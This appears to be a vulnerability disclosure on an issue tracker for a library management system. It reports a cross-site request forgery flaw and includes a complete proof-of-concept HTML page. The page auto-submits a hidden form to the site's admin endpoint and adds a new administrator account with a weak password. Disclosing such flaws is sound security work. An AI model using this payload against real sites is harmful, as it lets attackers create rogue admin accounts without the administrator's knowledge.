Cross-Site Request Forgery

![输入图片说明](https://foruda.gitee.com/images/1742176161115379994/e964f9c2_13337431.png "屏幕截图")
An administrator accesses a malicious address while logged in
http://113.44.158.187:8001/a.html
The script for a.html is as follows

```
<html>
  
  <body>
    <form action="https://library.mingyuefusu.top/admin/managerAdd" method="POST">
      <input type="hidden" name="name" value="oooo" />
      <input type="hidden" name="account" value="123333333" />
      <input type="hidden" name="password" value="admin" />
      <input type="hidden" name="email" value="jjjj&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

```

After accessing the address
![输入图片说明](https://foruda.gitee.com/images/1742176380430455069/0ad73bba_13337431.png "屏幕截图")
You can see that the success has been added
![输入图片说明](https://foruda.gitee.com/images/1742176388579729563/783f2f2a_13337431.png "屏幕截图")

明月复苏/图书管理系统

内容风险标识

评论 (0)

明月复苏/图书管理系统 .gitee-modal { width: 500px !important; }

内容风险标识